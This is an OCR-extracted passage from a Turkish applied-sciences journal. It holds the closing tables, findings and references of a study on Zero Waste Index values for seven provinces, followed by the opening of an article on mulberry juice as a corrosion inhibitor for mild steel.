sistemi kategorisi ~ atik (ton) (ton) (v) (GJLHV/ton) (COzefton)
() Verim Potansiyel Verim  Potansiyel ~ Verim  Potansiyel ~ Verim  Potansiyel
Kagit 16740 0,84 14062 6,33 105965 0,60 10044 2,91 48714
] Cam 1477 0,90 1329 6,07 8966 0,18 266 2,30 3397
Gent Metal 7385 0,79 5834 3609 266538 140 10340 5,97 44091
Doniistim
Plastik 4924 0,90 4431 38,81 191084 0,95 4677 -11,37 -55981
Karigik 566211 0,25 141553 5,00 2831055 1,15 651143 2,0 1132422
Kompostlama  Organik 18710 0,60 11226 0,18 3368 0,25 4677 0,44 8232
Karisik
Diizenli Kentsel  ye5431 0,00 0,00 0,00 000  ()042 -191281 0,00 0,00
depolama Atik
(MW
Toplam deger 1070877 178435 3406975,071 489866 1180874,816
Kisi basina
yillik fayda 0,51 0,08 1,61 0,23 0,56
SA indeksi
(SAi=v/iv) 0.17

Tablo 18. Sanliurfa ilinin 2035 yili kotiimser senaryoya iligkin SA indeksi (URL-5)

Bakir malzeme

Enerji ikame

Sera gazi (GHG)

) Yonetilen R o emisyonlarinin Su tasarrufu
Atk yonetim Atik toplam ikame verimliligi verimliligi azaltilmasi (kL/ton)
sistemi kategorisi  atik (ton) (ton) (v) (GJLHV/ton) (COzelton)
(V) Verim Potansiyel Verim  Potansiyel ~ Verim  Potansiyel  Verim  Potansiyel
Kagit 16740 0,84 14062 6,33 105965 0,60 10044 2,91 48714
. Cam 1477 0,90 1329 6,07 8966 0,18 266 2,30 3397
“G?n“ Metal 7385 0,79 5834 36,09 266538 1,40 10340 5,97 44091
Dontistim
Plastik 4924 0,90 4431 38,81 191084 0,95 4677 -11,37 -55981
Karigik 566211 0,25 141553 5,00 2831055 1,15 651143 2,0 1132422
Kompostlama  Organik 18710 0,60 11226 0,18 3368 0,25 4677 0,44 8232
Karisik
Diizenli Kentsel 0,00 0,00 0,00 0,00 (042  -38773 0,00 0,00
depolama Atik
(MW?) 92317
Toplam deger 707764 178435 3406975 642374 1180875
Kisi basina
yillik fayda 029 0,07 1,40 0,26 0,49
SA indeksi
(SAi=v/iv) 0,25
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Tablo 19. Sanlurfa ilinin 2035 yili iyimser senaryoya iligkin SA indeksi (URL-5)

. Sera gaz1 (GHG
Yonetilen .Bak" ma.lzern.ew Ener.“ Il.(e.lwe emisgyonl(armln) Su tasarrufu
Atik yonetim Atik toplam ikame verimliligi verimliligi azaltilmasi (kL/ton)
sistemi kategorisi  atik (ton) (ton) (v) (GJLHV/ton) (COzefton)
(iv) Verim Potansiyel Verim  Potansiyel  Verim  Potansiyel ~ Verim  Potansiye
Kagit 144384 0,84 121282 6,33 913949 0,60 86630 2,91 420157
' Cam 12740 0,90 11466 6,07 77330 0,18 2293 2,30 29301
Déigglﬁm Metal 63699 0,79 50322 36,09 2298887 1,40 89178 5,97 380281
Plastik 42466 0,90 38219 38,81 1648099 0,95 40343 -11,37  -482836
Karigik 0,00 0,25 0,00 5,00 0,00 1,15 0,00 2,0 0,00
Kompostlama  Organik 161370 0,60 96822 0,18 29047 0,25 40343 0,44 71003
Karisik
Diizenli Kentsel - 5e3105 0,00 0,00 0,00 0,00 (10,42  -118904 0,00 0,00
depolama Atik
(MW
Toplam deger 707764 318111 4967312,166 139882,4187 417906,1573
Kisi bagina
yillik fayda 0,29 0,13 2,04 0,06 0,17
SA indeksi
(SAi=v/iv) 0.45

Dogu Anadolu Bolgesi’nde bulunan Van’in 2020 kentsel atik kompozisyonu ve atik
yonetimi Sekil 7-a ve Sekil 7-b’de sirastyla gosterilmistir.

2020 ve 2035 yillarma ait Van’daki atik miktarlarina gére SAI hesaplarinin yer aldig:
bilgiler Tablo 20, 21 ve 22’°de gosterilmistir.
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4% 4%

m Kagit
m Plastik

mCam
= Metal

H Biyolojik olarak ¢oziinebilir atik  m Kiil

Diger

u Diizenli depolama tesislerine génderilen

= Geri doniigiim tesislerine gonderilen

Sekil 7. (a)Van’in 2020 yili kentsel atik kompozisyonu (URL-12) , (b) Van 2020 yili atik yénetimi (URL-5)

Tablo 20. Van ilinin 2020 yil1 ktiimser senaryoya iliskin SA indeksi (URL-6)

Bakir malzeme

Enerji ikame

Sera gazi (GHG)

Yonetilen . RS D . emisyonlarinin Su tasarrufu
Atik yénetim Atik toplam ikame verimliligi verimliligi azaltilmasi (kL/ton)
sistemi kategorisi  atik (ton) (ton) (v) (GJLHV/ton) (COzelton)
(V) Verim Potansiyel Verim  Potansiyel ~ Verim  Potansiyel  Verim  Potansiyel
Kagit 2696 0,84 2265 6,33 17068 0,60 1618 2,91 7846
) Cam 2306 0,90 2075 6,07 13995 0,18 415 2,30 5303
D..G?n.. Metal 1843 0,79 1456 36,09 66520 1,40 2580 5,97 11004
Onlisiim
Plastik 4754 0,90 4279 38,81 184522 0,95 4517 -11,37 -54059
Karigik 502494 0,25 125623 5,00 2512469 1,15 577868 2,0 1004988
Kompostlama  Organik 28657 0,60 17194 0,18 5158 0,25 7164 0,44 12609
Karigik
Dizenli Kentsel 477601 0,00 0,00 0,00 0,00 (1042  -200601 0,00 0,00
depolama Atik
(MW?)
Toplam deger 1020372 152893 2799733,347 393562 987691,501
Kisi basina
yillik fayda 0,89 013 2,44 0,34 0,86
SA indeksi
(SAi=v/iv) 0,15
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Tablo 21. Van ilinin 2035 yili kotiimser senaryoya iligkin SA indeksi (URL-6)

Bakir malzeme

Enerji ikame

Sera gazi (GHG)

) Yonetilen . R D e emisyonlarinin Su tasarrufu
Atik yonetim Atik toplam ikame verimliligi verimliligi azaltilmast (kL/ton)
sistemi kategorisi ~ atik (ton) (ton) (v) (GJLHV/ton) (COzefton)
() Verim Potansiyel Verim  Potansiyel ~ Verim  Potansiyel ~ Verim  Potansiyel
Kagit 2696 0,84 2265 6,33 17068 0,60 1618 2,91 7846
] Cam 2306 0,90 2075 6,07 13995 0,18 415 2,30 5303
Gent Metal 1843 0,79 1456 3609 66520 1,40 2580 5,97 11004
Doniistim
Plastik 4754 0,90 4279 38,81 184522 0,95 4517 -11,37 -54059
Karigik 502494 0,25 125623 5,00 2512469 1,15 577868 2,0 1004988
Kompostlama  Organik 28657 0,60 17194 0,18 5158 0,25 7164 0,44 12609
Karisik
Diizenli Kentsel - g1013 0,00 0,00 0,00 000  ()042  -34193 0,00 0,00
depolama Atik
(MW
Toplam deger 624163 152893 2799733 559969 987692
Kisi basina
yillik fayda 0.47 012 2,12 0,42 0,75
SA indeksi
(SAi=v/iv) 0,24
Tablo 22. Van ilinin 2035 yili iyimser senaryoya iligkin SA indeksi (URL-6)
. - Sera gaz1 (GHG
Yonetilen Bakir malzeme Enerji ikame emi sgyonl(arlnln)
Atik yénetim Atk toplam ikame verimliligi verimliligi azaltlmasi Su tasarrufu (kL/ton)
sistemi kategorisi  atik (ton) (ton) (v) (GJLHV/ton) (COzelton)
(V) Verim Potansiyel ~Verim  Potansiyel ~ Verim  Potansiyel ~ Verim  Potansiyel
Kagit 15504 0,84 13024 6,33 98142 0,60 9303 2,91 45117
) Cam 13257 0,90 11932 6,07 80471 0,18 2386 2,30 30492
Déigglﬁm Metal 10598 0,79 8373 36,09 382492 1,40 14838 5,97 63272
Plastik 27338 0,90 24605 38,81 1061002 0,95 25971 -11,37 -310837
Karigik 143021 0,25 35755 5,00 715104 1,15 164474 2,0 286042
Kompostlama  Organik 164779 0,60 98867 0,18 29660 0,25 41195 0,44 72503
Karisik
Dizenli Kentsel 519665 0,00 0,00 0,00 0,00 (0,42  -104859 0,00 0,00
depolama Atik
(MWe)
Toplam deger 624163 192555 2366871,505 153307,1441 186588,0369
Kisi bagina
yillik fayda 0,47 0,15 1,79 0,12 0,14
SA indeksi
(SAi=v/iv) 031

Bulgular ve Tartisma

Calismada, Tiirkiye’den segilen 7 ilin TUIK 2020 verileri dikkate alinarak kotiimser

senaryoya gore 2020 yil1, iyimser ve kotiimser senaryoya gore de 2035 yili i¢in SAI degerleri

bulunmustur. Koétiimser senaryo kapsaminda degerlendirildiginde, artan niifusakarsin iilke

atik yonetim hedeflerinin gerceklestirilemedigi kabul edildiginde SAI 2020 ve 2035 yillari
degerlendirilmesi Tablo 2, 3, 5, 6, 8, 9, 11, 12, 14, 15, 17, 18, 20, 21°de yer almaktadir.
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Iyimser senaryo kapsaminda, 2020 yili bulunan SAI degeriyle karsilastirildiginda, niifus
artisiyla birlikte atik yonetimi hedeflerindeki %60 atik doniisiim verimine dayali (Tablo 4, 7,
10, 13, 16, 19, 22) SAI hesaplamas: yapilmistir. Denklem 1-2 ve Tablo 1 kullanilarak segilen
7 il i¢in hesaplanan SAI degerleri Tablo 23’de verilmistir. Buna gére en diisiik SAI degeri
Istanbul 0,06, en yiiksek SAI degeri ise Ankara i¢in 0,27 olarak bulunurken ortalama SAI
degeri 7 il igin 0,16 hesaplanmistir. Bu durum, kaynaklarmn Istanbul ili i¢in yaklasik %6'sinmn,
Ankara i¢in %27’sinin ve 7 il ortalamasina goére %16’sinin atik yonetim sistemlerinden
iiretilebilen atik miktarindan geri kazanilabildigini ifade eder. 2020 yil1 SAI ortalama degeri
dikkate alindiginda Van, Samsun ve Istanbul illeri i¢in SAI degerleri sirastyla 0,15, 0,15 ve
0,06 olarak elde edilmis olup her {i¢ il de ortalama degerin altinda kalmistir. 2035 yili
kotiimser senaryo igin en yiiksek SAI degerlerine sahip iller Antalya (0,25) ve Sanlurfa (0,25)
olarak elde edilmistir. 2035 k&tiimser senaryo igin 7 ilin SAI degeri ortalamasi 0,21 olarak
hesaplanmigtir. Ortalama degerin altinda kalan tek il Istanbul (0,04)’dur. 2035 iyimser
senaryo icin SAI degeri en yiiksek olan 0,45 ile Sanlurfa olurken 7 ilin ortalama degeri 0,35
olarak hesaplanmistir. Ortalama degerin altinda kalan iller Ankara (0,30), Istanbul (0,32),
Samsun (0,29) ve Van (0,31) olarak tespit edilmistir. Antalya, Izmir ve Sanlrfa her iic
senaryo icin de ortalama degerin iizerinde hesaplanmistir (Tablo 23). Buna karsilik Istanbul
her ii¢ durum icin de ortalama SAI degerinin altinda hesaplanmistir. Bu durum dikkate
alindiginda, Istanbul ili icin 2020 y1l1 %6, 2035 yilinda ise kotiimserde %4 ve 2035 iyimser
senaryoya gore ise %32 geri kazamldig1 goriilmektedir. Bu durumda Istanbul ili icin atik
yonetim sisteminde geri doniislim paymin hizli niifus artis1 da goz onilinde bulundurularak

hizla arttirilmasi gerekmektedir.

Tablo 23. Tiirkiye’deki7 il i¢in SAI degerleri

il

2020 Kétiimser senaryo igin SAI

2035 Kotiimser senaryo igin SAI

2035 Iyimser senaryo igin SAI

Ankara 0,27 0,22 0,30
Antalya 0,18 0,25 0,40
Istanbul 0,06 0,04 0,32
[zmir 0,16 0,23 0,36
Samsun 0,15 0,24 0,29
Sanliurfa 0,17 0,25 0,45
Van 0,15 0,24 0,31
ORTALAMA 0,16 0,21 0,35

Tablo 24’de Tiirkiye’deki 7 il i¢in 3 farkli durumda kisi basina diisen fayda degerleri
gosterilmektedir. 2020 yili i¢in bakir malzeme verimliligi en yliksek olan il 0,17 ton ile
Antalya, en diisiik olan il ise 0,03 ton ile Istanbul’dur. Yani Antalya ilinde birey kaynakli
kentsel kat1 atigin %181 (170 kg) geri kazanilirken Istanbul ilinde birey kaynakli iiretilen
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kentsel kat1 atigin %6’s1 (30 kg) geri kazanilabilinmistir. 2035 yili kétiimser senaryosunda
bakir malzeme en yiiksek 0,13 ton ile Antalya, en diisiik 0,2 ton ile Istanbul’dur. 2035 yili
iyimser senaryoda en yiiksek deger 0,21 ton ile Antalya, en diigiik 0,08 ton ile Samsun’dur.
Atiklar, enerjinin tiiketilmesine neden olan unsurlardandir.Atiklardan kaynaklarin geri
kazanilabilmesi, biiyilk miktarda enerji tasarrufu saglayan potansiyellerdendir. Kd&tiimser
senaryo dikkate alindiginda, enerji tasarrufu en yiiksek il olan Antalya i¢in 2020’den 2035
yilina gelindiginde 2,81 GJ’den 2,16 GJ’e kadar gerilerken enerji tasarrufu en disiik il olan
Istanbul i¢in 0,19 GJ’den 0,15 Gl’e gerilemistir. Iyimser senaryoya gore, 2035 yilinda,
Antalya 2,33 GJ ile en yiiksek miktarda enerji talebini atik yoOnetim sistemlerinde geri
kazanilan kaynaklardan yerine koymustur. Cevresel sorunlarin baglicalarindan biri,atiklarin
yakilmasi nedeniylesera gazi (GHG) emisyonu konsantrasyonlarint artip kiiresel iklim
degisikligine neden olmasidir. Her kisi 2020 yilinda en diisiik degere sahip Istanbul ilinde 140
kg CO2e, en yiiksek degere sahip Izmir’de 390 kg COze emisyon azaltimina neden olmustur.
Kotiimser senaryoda bu miktar 2035 yilinda Istanbul icin 150 kg COze emisyon artisina
neden olurken, en yiiksek degere sahip olan Van i¢in 420 kg COze azaltilmi saglamistir.
Iyimser senaryoda ise her kisi 2035 yilinda en diisiik degere sahip Antalya ve Sanlwurfa
illerinde 60 kg CO2-e emisyonu ve en yliksek degere sahip Samsun ve Van illerinde ise 120
kg COxe emisyonu azaltiminayol acgacaktir. Atmosfere salinan emisyonlar, atiklarin

diizenleme depolama ve atiklardan kaynak geri kazanimi sayesinde azalacaktir.

Tablo 24. Turkiye’deki 7 il i¢in kisi bagina disen yillik fayda degerleri

2020 yil1 Kotiimser senaryo 2035 Kotlimser senaryo 2035 Iyimser senaryo
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Ankara 0,10 0,84 0,08 0,25 0,08 0,71 0,04 0,21 0,11 0,78 0,07 0,23
Antalya 0,17 2,81 0,37 0,81 0,13 2,16 0,36 0,62 0,21 2,33 0,06 -0,18
Istanbul 0,03 0,19 -0,14 0,05 0,02 0,15 -0,15 0,04 0,14 1,08 0,09 0,29
[zmir 0,16 2,68 0,39 0,95 0,12 2,06 0,39 0,73 0,19 1,70 0,07 0,10
Samsun 0,08 1,57 0,21 0,51 0,07 1,37 0,26 0,44 0,08 2,15 0,12 -0,07
Sanlurfa 0,08 1,61 0,23 0,56 0,07 1,40 0,26 0,49 0,13 2,04 0,06 0,17
Van 0,13 2,44 0,34 0,86 0,12 2,12 0,42 0,75 0,15 1,79 0,12 0,14

Su ve atik iligskisi, hammaddelerin islenmesinde fazla miktarda tathh su kullanimi
gerektirdigi icin kaynak geri kazanimindadnemli bir yere sahiptir.Her kisi 2020 yilinda en

diisiik orana sahip Istanbul ilinde 50Lsu tasarrufu saglarken, kétiimser senaryoda 2035 yilinda
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40 L’ye diismiistiir. 2020 yilinda kisiler en yiiksek orana sahip izmir ilinde 950 L su tasarrufu
saglarken kotlimser senaryoda en yiiksek degere sahip Van ilinin 750 L su tasarrufu
saglayacagi goriilmektedir. 2035 yili iyimser senaryoda ise,en diisiik deger olan Antalya ilinde
180 L su ihtiyag talebi meydana gelirken en yiiksek il olan Istanbul i¢in 290 L su tasarrufu
saglanacagi sonucuna ulasilmaktadir.

Zaman ve Lehmann (2013), Stockholm, Adelaide veSan Francisco gibi sehirlerin SAI
degerlerini sirastyla 0,17, 0,23 ve 0,51 olarak, Christiady ve ark. (2021), Bandung kenti
SATI’sini 0,05 olarak hesaplamislardir. Bu degerler dikkate alindiginda, bu calismadaki elde
edilen sonuglara gore Tiirkiye’de 7 ilin ortalama SAI degeri 2020 yilinda 0,16, 2035 kotiimser
senaryoda 0,21, 2035 iyimser senaryoda ise 0,35 olarak hesaplanmistir. Buna gore,
Tirkiye’'nin 2035 yili SA hedefi kapsaminda %60 geri doniisimiin saglanmasi
gerceklestirildiginde elde edilen SAI degeri literatiirdeki sehirlere yaklagmaktadir. Ancak,SA
kapsaminda atik yonetiminde &zellikle geri donilisim paymnda ciddi diizenlemelerin

yapilmasinin gerekliligi agiktir.

Sonuc ve Oneriler

Bu calisma, “SA Indeksi aracina dayali atik ydnetiminin Tiirkiye’nin 7 bdlgesinden
2020 TUIK verilerine gore en kalabalik 7 ilinin 2020 ve 2035 yillar1 i¢in bir zaman serisi
olgiimiidiir. Ankara ili igin SAI degeri 2020 yilindan 2035 yila kadar kétiimser senaryoda
yaklasik %19 diisiis gosterirken Istanbul ili i¢in ise %30 diisiis gdstermistir. Buna karsin, SAI
degeri diger illerde ortalama %50 artis gdstermistir. lyimser senaryoda 2035 yili kdtiimser
senaryoya kiyasla 7 il i¢in yaklasik %150°lik SAI degeri artis1 goriilmektedir. Buradaki deger
artisinin nedeni, iyimser senaryoda geri doniisiim ve atik yOnetimi yiizdesinin %60’lara
yiikseltilecegi hedeflenmesi kaynaklidir.Bu ¢alisma kapsamindabelediye atiklar1 6 kategoride
(karisik, organik, plastik, cam, kagit ve metal) dikkate alinarak degerlendirme yapilmistir.
Buna gore elde edilen bu sonuglarin Tiirkiye’deki sifir atik projesine katki saglamasi, politika
yapict ve uygulayacilar, hiikkiimet ajanslari ve atik yonetimi hizmet saglayicilarma yol

gostermesi amaciyla asagidaki oneriler sunulmustur:

. Calismada bahsedilen Stockholm, Adelaide, San Francisco, Bandung gibi kentler i¢in
literatiirde yer alan SAI degerleriyle bu ¢alisma kapsaminda hesaplanan 7 ilin ortalama
SAI degerleri karsilagtirldiginda %60 oraninda geri doniisiimiin iilke capinda

saglanmas1 gerekliligi agiktir.
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Ulke genelinde detayli bir SAI gelistirilebilmesi igin atiklarin denemeye alinmasi daha
kapsamli verilerle incelemelerin yapilmasi gereklidir. Politika gelistirme ve karar alma
stirecleri dikkate alindiginda giivenilir atik verilerinin elzem oldugu goriilmiistiir.

SA projesi kapsaminda baglatilan atik yonetimi ve bilinglendirme ¢aligmalarinin
bireysel Olcekten baslayarak gelistirilmesi gerektigi ortaya ¢ikmistir. Yapilan SAI
hesaplamalar1 sonucu, 6zellikle niifusun kalabalik oldugu iller igin yerel yonetimlerce
geri doniistiiriilebilir atiklarin toplanmasi, siiflandirilmasi, kayitlarinin tutulmasi kritik
bir role sahiptir.

Tiirkiye genelinde yiiriitiilen SA projesi kapsaminda belediyelerin atik kayitlarini
saglikli ve kapsamli bir sekilde toplayabilmesi ve muhafaza edebilmesi i¢cin merkezi
atik veri toplama sistemi gelistirilmelidir.

Tiirkiye’deki seg¢ilen en kalabalik 7 ile gore, atik yonetiminde geri doniisiim payinin az
oldugu ozellikle Istanbul gibi biyobozunur igerigi yiiksek illerde, bu atiklarin ekonomik
yonden atik yonetiminin planlanmasi, kompost olarak maksimum geri doniisiim ve geri
kazaniminin yapilmasi hem enerji hem de maddesel kayiplar1 ortadan kaldiracagi 6n
goriilmektedir.

Stirdiiriilebilir politika ve stratejilerin belirlenmesi ve uygulanmasi, koordineli bir
sekilde diisiiniilereck ve dongilisel ekonomi ilkeleri de g6z Oniinde bulundurularak
miimkiin olacaktir.

Kiiresel ve yerel baglamda tiim paydaslarin aktif katilimiyla optimum bir sifir atik
stratejisi gelistirilmesi gerekmektedir. Tiirkiye'de gelecekteki sifir atik stratejileri icin
kapasite gelistirme, piyasa yapilari, atik yonetimi politikas1 ve stratejisi gelistirmenin
kilit rol oynayacagi 6n goriilmektedir.

Calisma kapsaminda SAI hakkinda yapilan literatiir arastirmasinda hem ulusal hem de

uluslararast literatiirde oldukga kisitli verinin oldugu sonucuna ulasilmistir.

Arastirmacilarin Katki Orami Beyan Ozeti

Yazarlar makaleye esit oranda katki saglamis olduklarini beyan ederler.

Cikar Catismasi1 Beyam

Makale yazarlar aralarinda herhangi bir ¢ikar ¢atigsmasi olmadigini beyan ederler.

86



Kaynaklar

Christiady J, Widyarsana IMW, Sutadian AD, Sundana EJ., 2021. Improvement of
municipal waste management using dynamics systemand zero waste index approaches in
Bandung City. Sanitation Value Chain, 5(1): 43.

Dogdu G., 2022. SA indeksi kullanilarak Istanbul Ili kat1 atik yonetim performansinin
degerlendirilmesi. 1. Uluslararasi Cevre, Enerji Ve Ekonomi Kongresi (INTECongress). 20-
22 Ekim 2022, p: 88-89, Giresun. E-ISBN: 978 - 975 - 2481 - 27 — 5.

Kasamlresha FM, Prasojo SA., 2018. Evaluation of solid waste management at campus
using the“Zero Waste Index”: Thecase on campus of Islamic University of Indonesia. The 2"
International Conference on Engineering and Technology forSustainable Development
MATEC Web of Conferences, 154.

Magin KE, Arikan OA., 2021. SA yonetimi’nin gevresel etkileri: ITU Ayazaga
Kampiisii’'niin SA Endeksi. 14. Ulusal 2. Uluslararas1 Cevre Miihendisligi Kongresi. 9-11
Aralik 2021, s: 271-277.

T.C. Cevre, Sehircilik ve Iklim Degisikligi Bakanligi, 2022. SA Kitabu.
https://sifiratik.gov.tr/sifir-atik/sifir-atik-kitabi#2816 (Erisim tarihi: 07.08.2023).

Tiirkiye Cevre Ajanst (TUCA), (2022). Yesil kalkinma yolunda Tiirkiye istisare
toplantis1 sonug bildirgesi. https://tuca.gov.tr/haber/yesil-kalkinma-yolunda-turkiye-istisare-
toplantisi-sonuc-bildirgesi/20 (Erisim tarihi: 17.10.2023).

URL-1. https://ankara.csb.gov.tr/sifir-atik-i-86166. Erisim tarihi: 27.07.2023.

URL-2. SA - Tiirkiye Cumhuriyeti Cevre ve Sehircilik Bakanligi. https://sifiratik.gov.tr/
Erisim Tarihi: 10.12.2018.

URL-3. https://sifiratik.gov.tr/kutuphane/sifir-atik-iyi-uygulama-ornekleri#5923. Erisim
tarihi: 27.07.2023.

URL-4. Adrese Dayali  Nifus Kayit Sistemi Sonuglar 2020.
https://data.tuik.gov.tr/Bulten/Index?p=Adrese-Dayali-Nufus-Kayit-Sistemi-Sonuclari-2020-
37210. Erisim tarihi: 04.02.2021.

URL-5. Atk Istatistikleri. 2020. https:/data.tuik.gov.tr/Bulten/Index?p=Atik-
Istatistikleri-2020-37198. Erisim tarihi:23.12.2021.

URL-6 Ankara 2020. Cevre Durum Raporu,
https://webdosya.csb.gov.tr/db/ced/icerikler/2020_ankara--cdr-20210728144247.pdf.  Erisim
Tarihi: 5.08.2023.

87


https://tuca.gov.tr/haber/yesil-kalkinma-yolunda-turkiye-istisare-toplantisi-sonuc-bildirgesi/20
https://tuca.gov.tr/haber/yesil-kalkinma-yolunda-turkiye-istisare-toplantisi-sonuc-bildirgesi/20
https://ankara.csb.gov.tr/sifir-atik-i-86166
https://sifiratik.gov.tr/kutuphane/sifir-atik-iyi-uygulama-ornekleri#5923
https://data.tuik.gov.tr/Bulten/Index?p=Adrese-Dayali-Nufus-Kayit-Sistemi-Sonuclari-2020-37210
https://data.tuik.gov.tr/Bulten/Index?p=Adrese-Dayali-Nufus-Kayit-Sistemi-Sonuclari-2020-37210
https://data.tuik.gov.tr/Bulten/Index?p=Atik-Istatistikleri-2020-37198
https://data.tuik.gov.tr/Bulten/Index?p=Atik-Istatistikleri-2020-37198
https://webdosya.csb.gov.tr/db/ced/icerikler/2020_ankara--cdr-20210728144247.pdf

URL-7 Antalya 2020 Cevre Durum Raporu,
https://webdosya.csb.gov.tr/db/ced/icerikler/antalya_2020 -cdr-20210812095503.pdf (Erisim
Tarihi: 5.08.2023).

URL-8 Istanbul 2020 Cevre Durum Raporu,
https://webdosya.csb.gov.tr/db/ced/icerikler/-stanbul 2020 -cdr-20220110121837.pdf (Erisim
Tarihi: 5.08.2023).

URL-9 [zmir 2020 Cevre Durum Raporu,
https://webdosya.csb.gov.tr/db/ced/icerikler/2020 _-zm-r_cdr-20210622145856.pdf  (Erisim
Tarihi: 5.08.2023).

URL-10 Samsun 2020 Cevre Durum Raporu,
https://webdosya.csb.gov.tr/db/ced/icerikler/samsun_-cdr2020-20220128095202.pdf (Erisim
Tarihi: 5.08.2023).

URL-11 Sanliurfa 2020 Cevre Durum Raporu,
https://webdosya.csb.gov.tr/db/ced/icerikler/sanl-urfa_-cdr2020-20211118131834.pdf (Erisim
Tarihi: 5.08.2023).

URL-12 Van 2020 Cevre Durum Raporu,
https://webdosya.csb.gov.tr/db/ced/icerikler/van_2020 -cdr-20220118151334.pdf (Erisim
Tarihi: 5.08.2023).

Zaman AU, Lehmann S., 2013. The zero waste index: a performance measurement
tool for waste management systems in a ‘zero waste city’. Journal of Cleaner Production,
50(1): 123-132.

Zaman AU., 2014. Measuring waste management performance using the ‘Zero Waste
Index’: the case of Adelaide, Australia. Journal of Cleaner Production, 66(2014):407-4109.
https://doi.org/10.1016/j.jclepro.2013.10.032.

Zaman AU, Swapan MSH., 2016. Performance evaluation and benchmarking of global

waste management systems. Resources, Conservation and Recycling, 114: 32-41.

88



EMANIYE gy Kadirli Uygulamali Bilimler Fakiiltesi Dergisi ~ Journal of Kadirli Faculty of Applied Sciences

., Cilt4, Say1 1, 89-103, 2024

~

Volume 4, Issue 1, 89-103, 2024

. .
: “'yflAIINI'l‘“ 5

5
7,

Q 6
AS

Kadirli Uygulamal Bilimler Journal of Kadirli Faculty of  vigugwan s

JOURNAL OF FACULTY OF

Fakiiltesi Dergisi Applied Sciences

Cukurova Bolgesinde Yetisen Karadut Meyvesinin Yumusak Celigin 0,5 M HCI
Cozeltisindeki Korozyon Davranisina Etkisi

Goncagiil AKSARAY?, Basak DOGRU MERT?

ICukurova Universitesi, Fen Edebiyat Fakiiltesi, Kimya Boliimii, 01330, Adana, Tiirkiye
2Adana Alparslan Tiirkes Bilim ve Teknoloji Universitesi, Miihendislik Fakiiltesi, Enerji Sistemleri Miithendisligi Béliimii,

01250, Adana, Tiirkiye

*https://orcid.org/0000-0003-4338-6049
Zhttps://orcid.org/0000-0002-2270-9032
*Sorumlu yazar: bdogrumert@atu.edu.tr

Arastirma Makalesi

Makale Tarihgesi:

Gelis tarihi: 01.06.2023

Kabul tarihi: 18.08.2023
Online Yayinlanma: 08.03.2024

Anahtar Kelimeler
Korozyon

Yesil inhibitor
Yumusak celik
DFT

EIS

0z

Bu calismada Cukurova yoresinde bolca yetistirilen karadut meyvesinin
suyunun yumusak ¢eligin (YC) 0,5 M HCI ¢ozeltisindeki korozyon
davramisina etkileri aragtirllmistir. Elde edilen bulgulara gére karadut suyu
iceren ortamlarda YC’nin polarizasyon direncinin arttifi ve anodik
polarizasyon egrilerinden belirlenen akim degerlerinin ise azaldigi
goriilmektedir. Bu durum meyve igeriginde bulunan organik maddelerin YC
yiizeyine adsorpsiyonu sayesinde yiizeyde inhibitor filmi olustugu ve bu
filmin de korozyon hizimi azalttig1r seklinde yorumlanmistir. S6z konusu
inhibisyonun meyve igeriginde kiitlece en ¢ok bulunan p-kumarik asit ve
klorojenik asitten kaynaklanabilecegi diistincesiyle kuantum teorik
calismalar  gergeklestirilerek  korozyon mekanizmast  aydinlatilmak
istenmigtir. Bu molekiillerin sulu ortamdaki dipol momentleri sirasiyla
3,9353 Debye ve 6,2839 Debye olarak hesaplanmugtir. Ayrica p-kumarik
asit i¢in Enomo Ve Erumo degerleri sirasiyla 7,033 eV ve 0,409 eV iken
klorojenik asit i¢in s6z konusu degerler sirasiyla 5,845 eV ve 4,057 eV dir.
Belirlenen Mulliken yiiklerine gére molekiil yapilarinda bulunan karbonil ve
hidroksil uglarinin, bu molekiillerin YC yiizeyine adsorpsiyonunda rol
oynadiklari tespit edilmistir. En yiiksek inhibitér miktarinda, 168 saatlik
daldirma siiresinin ardindan yaklasik olarak % 99 inhibisyon etkinligi tespit
edilmigtir.

The Effect of Morus nigra Fruit Harvested from the Cukurova Region on Mild Steel
Corrosion in a 0.5 M HCI Solution
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In this study, the effects of the juice of mulberry, which is grown abundantly
in Cukurova region, on the corrosion behavior of mild steel (MS) in 0.5 M
HCI solution was investigated. According to the obtained results, the
polarization resistance of MS increases in the presence of mulberry juice and
the current values determined from the anodic polarization curves decrease. It
was determined that the adsorption of organic molecules from the fruit
content on the MS surface caused an inhibitor film to form on the surface,
decreasing the corrosion rate. Quantum theoretical investigations were
conducted in an effort to better understand the corrosion mechanism with the
hypothesis that inhibition in issue may be brought on by p-coumaric acid and
chlorogenic acid, which are the most prevalent in fruit content. These
molecules’ dipole moments are 3.9353 Debye and 6.2839 Debye,
respectively. The p-coumaric acid has Exomo and Eiumo values of 7.033 eV
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and 0.409 eV, respectively, while chlorogenic acid has these values of 5.845
eV and 4.057 eV. It has been determined that the carbonyl and hydroxyl
terminals in the molecular structures have a role in the adsorption of these
compounds on the MS surface based on the calculated Mulliken charges. At
the highest inhibitor concentration, approximately 99% inhibition efficiency
was observed after an immersion period of 168 hours.

To Cite: Aksaray G, Dogru Mert B., 2024. Cukurova bolgesinde yetisen karadut meyvesinin yumusak ¢eligin 0,5 M HCI

¢ozeltisindeki korozyon davranigina etkisi. Kadirli Uygulamali Bilimler Fakiiltesi Dergisi, 4(1): 89-103.

Giris

Karadut latince adi Morus nigra olan ve 6zellikle Cukurova boélgesinin hava kosullar
gibi Akdeniz iklimini seven bir bitkidir. Yapisinda fenolik bilesikler bulunur. En yiiksek
konsantrasyondaki bilesenleri sirasiyla; klorojenik asit, para kumarik asit, katesin, kuersetin
ve rutindir. Ayrica yapida asidik bilesenlerden sitrik asit ve malik asit de bulunur (Ercisli ve
ark., 2007; Ozgen ve ark., 2009; Gundogdu ve ark., 2011; Butkhup ve ark., 2012). S6z konusu
bilesiklerin miinferit olarak kullanildig1r korozyon ¢aligmalar1 olmasina ragmen meyve icin
gerceklestirilen caligmalar smirli sayidadir ve genellikle yapraginin sulu ve organik
ekstraktlar1 ¢alisilmistir (Sanchez ve ark., 2014; Edrah ve ark., 2016; Sanchez-Salcedo ve
ark., 2017). Metal ve alasimlarinin meyve, sebze, bitki vb. organik iriinler kullanilarak
korozyonun zararli etkilerinden korunmasi “yesil koruma”, “yesil inhibitér” veya “yesil
cevreci kimya calismalar1” olarak da adlandirilir (Seker ve ark., 2015; Ozkir, 2021; Sahin ve
ark., 2021). Bu ¢alismalar gerek toksik kimyasal maddelerin kullanimin1 azaltip onlarin yerine
doga dostu alternatifler sunmasi, gerekse insan ve gevreye herhangi bir zararli etkilerinin
olmamas1 bakimindan olduk¢a Onemlidir. Son yillarda artan g¢evre bilinci ve doga dostu
